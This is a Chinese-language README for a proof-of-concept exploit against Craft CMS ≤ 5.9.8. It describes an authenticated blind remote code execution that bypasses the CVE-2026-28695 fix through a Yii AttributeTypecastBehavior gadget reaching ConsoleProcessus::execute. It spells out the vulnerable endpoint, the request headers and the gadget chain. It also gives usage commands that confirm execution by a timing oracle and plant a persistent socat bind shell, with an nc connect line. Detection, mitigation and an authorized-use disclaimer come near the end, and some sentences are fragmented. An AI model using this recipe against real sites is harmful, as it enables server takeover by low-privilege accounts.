
Craft CMS 中的经过身份验证的**盲**远程代码执行。CVE-2026-28695 的修复
element-search)CVSS 3.x : 8.8 HIGH (约值 — 请核实)
CWE : CWE-502(不安全对象实例化)+ CWE-1336(SSTI 来源)
Base : CVE-2026-28695 (通过 create() + Symfony Process 的 SSTI)
Fix : 公告修复 e31e508(将 create() 限制为 BaseObject)— 此处被绕过
Affects : 已应用 CVE-2026-28695 修复的 Craft CMS ≤ 5.9.8
Craft CMS 中的认证后、盲远程代码执行。CVE-2026-28695 的官方修复仅将 create() 限制为
yii\base\BaseObject 子类。yii\behaviors\AttributeTypecastBehavior gadget 是一个
BaseObject,但仍能到达 call_user_func() 汇聚点,因此它绕过了过滤器。通过非 Twig 的
admin/actions/element-search/search 动作投递,它还绕过了 CRAFT_ENABLE_TWIG_SANDBOX。
一个 Content Editor 账户就足够了。
Craft 的 element-search 控制器通过 Yii 的 Craft::createObject() / Instance 机制将攻击者
提供的 JSON 反序列化为活动的 PHP 对象。通过附加一个 AttributeTypecastBehavior,其
attributeTypes 将某个属性映射到可调用对象 [Psy\Readline\Hoa\ConsoleProcessus, execute],
并触发 beforeSave 事件,类型转换变为:
call_user_func([Psy\Readline\Hoa\ConsoleProcessus, "execute"], "<CMD>")
该端点始终返回 HTTP 500 且不返回任何命令输出 — 执行是盲的。
create() + Symfony Process 的 SSTI,从 Twig 汇聚点到达
(通常是 Entry Types → Title Format)。e31e508 将 create() 限制为 BaseObject 子类,并且目标还以
CRAFT_ALLOW_ADMIN_CHANGES=false(settings → 403)以及 CRAFT_ENABLE_TWIG_SANDBOX=true
运行。已记录的向量被三重封堵。yii\behaviors\AttributeTypecastBehavior -> Psy\Readline\Hoa\ConsoleProcessus::execute
构造上的双重绕过:
element-search 是 PHP 对象路径,不是 Twig 渲染。
CRAFT_ENABLE_TWIG_SANDBOX 仅限制模板引擎,因此它从不适用。create() 限制为 BaseObject。AttributeTypecastBehavior
→ yii\base\Behavior → yii\base\BaseObject,因此它满足新约束,同时仍提供执行汇聚点。
该修复封堵了一个类族,而非 BaseObject 类。端点:
POST /index.php?p=admin/actions/element-search/search
X-CSRF-Token: <dashboard csrf>
X-Requested-With: XMLHttpRequest
Accept: application/json
Hoa\ConsoleProcessus::execute() 通过 escapeshellcmd() 运行命令:
| && ; > < $() ' " → 无链式命令、无管道、无重定向、无经典 bash 反弹 shell。: , /这就是为什么 payload 是单个 socat TCP-LISTEN,fork EXEC 绑定 shell(参数使用
: / , / /),而非反弹 shell。
Attacker (Content Editor) Craft CMS 5.9.8
| |
| GET /admin/login (scrape CSRF) |
|--------------------------------------->|
| POST users/login (jenny:******) |
|--------------------------------------->|
| GET /admin/dashboard (JS csrf) |
|<---------------------------------------|
| POST element-search/search |
| AttributeTypecastBehavior gadget |
| typecastBeforeSave = "<CMD>" |
|--------------------------------------->| call_user_func(
| HTTP 500 (blind, no output) | [ConsoleProcessus,execute], CMD)
|<---------------------------------------| -> escapeshellcmd(CMD) -> exec
| |
| oracle: "sleep 5" -> +~5s latency |
| shell: socat TCP-LISTEN:4445 bind |
| 状态 | 版本 |
|---|---|
| 易受攻击 | Craft CMS ≤ 5.9.8 且已应用 CVE-2026-28695 修复 |
| 备注 | 该 gadget 需要已认证的 CP 会话 |
| 文件 | 作用 |
|---|---|
exploit.py | PoC:登录 → 时序 oracle 检查 → 单条命令 → 绑定 shell |
README.md | 本文件 |
需要 requests(pip install requests)。
# 1. Prove code execution (timing oracle: sleep 5 must add ~5s)
python3 exploit.py http://example.lab --check
# 2. Fire a single blind command (one binary + args, no metachars)
python3 exploit.py http://example.lab "sleep 5"
# 3. Plant a persistent bind shell as the web user, then connect
python3 exploit.py http://example.lab --bind 4445
nc IP or exemple.lab 4445
# custom creds
python3 exploit.py http://exemple.lab -u User -p 'SecureP4$$!' --bind
发生的过程:
AttributeTypecastBehavior gadget 发送到 element-search。--check 通过注入的延迟证明盲执行;--bind 放置一个 socat 监听器。create())上约束对象实例化的版本,
并审计 element-search 的条件处理。CRAFT_ALLOW_ADMIN_CHANGES=false 并最小化 Content Editor 权限 — 认证是此处唯一
的前提条件。ConsoleProcessus::execute gadget 的情况下,移除/升级捆绑的 psy/psysh(Hoa)
依赖。__class、as rce 或 AttributeTypecastBehavior 的
element-search/search 请求体发出告警;标记来自该动作的 HTTP 500 突发。e31e508(create() → BaseObject 限制)AttributeTypecastBehavior / yii\base\Security 文档本项目仅用于授权的安全测试、教育和防御性研究。 您有责任遵守适用法律以及您的实验室或客户的交战规则。